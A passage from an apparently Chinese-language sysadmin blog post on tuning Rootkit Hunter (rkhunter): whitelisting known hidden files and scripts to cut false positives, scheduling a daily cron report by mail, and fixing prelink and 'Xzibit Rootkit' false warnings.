<li>sed -i '/#ALLOWHIDDENFILE=&quot;\/usr\/bin\/.fipscheck.hmac&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENFILE=&quot;\/usr\/bin\/.ssh.hmac&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENFILE=&quot;\/usr\/sbin\/.sshd.hmac&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'IGNORE_PRELINK_DEP_ERR=&quot;/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less&quot; ' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'SCRIPTWHITELIST=/usr/bin/ldd' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'SCRIPTWHITELIST=/usr/bin/whatis' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'SCRIPTWHITELIST=/usr/bin/GET' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'ALLOWHIDDENFILE=/usr/share/man/man5/.k5login.5.gz' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>echo 'APP_WHITELIST=&quot;openssl:0.9.8e sshd:4.3p2&quot;' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>&nbsp;</li>
<li>echo 'ALLOWDEVFILE=&quot;/dev/shm/nginx.pid&quot;' &gt;&gt; /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>&nbsp;</li>
<li>&nbsp;</li>
<li>#注意openssl和sshd的版本号</li></ol></div>
<p>再次更新和检测<br />
/usr/local/rkhunter/bin/rkhunter &#8211;propupd</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">[ Rootkit Hunter version 1.3.8 ]</li>
<li>File updated: searched for 164 files, found 135</li></ol></div>
<p>跳过按键只输出warning,不再有显示<br />
/usr/local/rkhunter/bin/rkhunter -c &#8211;sk &#8211;rwo</p>
<p><strong>四.自动报告</strong><br />
每天5点检测并发送通知邮件<br />
vi /var/spool/cron/root</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">3 5 * * * (/usr/local/rkhunter/bin/rkhunter --cronjob -l --nomow --rwo | mail -s &quot;[rkhunter] report `hostname` `date`&quot; root@localhost)</li></ol></div>
<p>参考:http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH#Introduction</p>
<p><span style="color:red">===============2012-4-18更新</span><br />
修正应更新而产生的误报,运行时检查文件存,如果文件不存在就不要加在里面</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">ALLOWDEVFILE=&quot;/dev/shm/nginx.pid&quot;</li>
<li>IGNORE_PRELINK_DEP_ERR=&quot;/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less&quot;</li></ol></div>
<p>hdparm 的Xzibit Rootkit</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">[15:29:12] Warning: Checking for possible rootkit strings&nbsp; &nbsp; [ Warning ]</li>
<li>[15:29:12]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Found string 'hdparm' in file '/etc/rc.d/rc.sysinit'. Possible rootkit: Xzibit Rootkit</li></ol></div>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">RTKT_FILE_WHITELIST=&quot;/etc/rc.d/rc.sysinit:hdparm&quot;</li></ol></div>
<p><span style="color:red">===============2012-4-28更新</span><br />
修正The file properties have changed<br />
rkhunter在crontab中运行和手功运行有差异<br />
就算你在配置文件中写了IGNORE_PRELINK_DEP_ERR,在日志中还是会有<br />
[05:45:10] /usr/bin/less [ Warning ]<br />
[05:45:10] Warning: The file properties have changed:</p>
<p>prelink /usr/bin/less</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line</li></ol></div>
<p>#增加库链接<br />
echo &#8216;-l /usr/local/lib&#8217; >> /etc/prelink.conf<br />
#再次执行就没错了，把每个prelink出错的命令都运行下<br />
prelink /usr/bin/less</p>
<p>#修改配置文件将IGNORE_PRELINK_DEP_ERR 提到USER_FILEPROP_FILES_DIRS下面<br />
#再rkhunter &#8211;propupd更新<br />
#使用conrtab调试不再报错</p>
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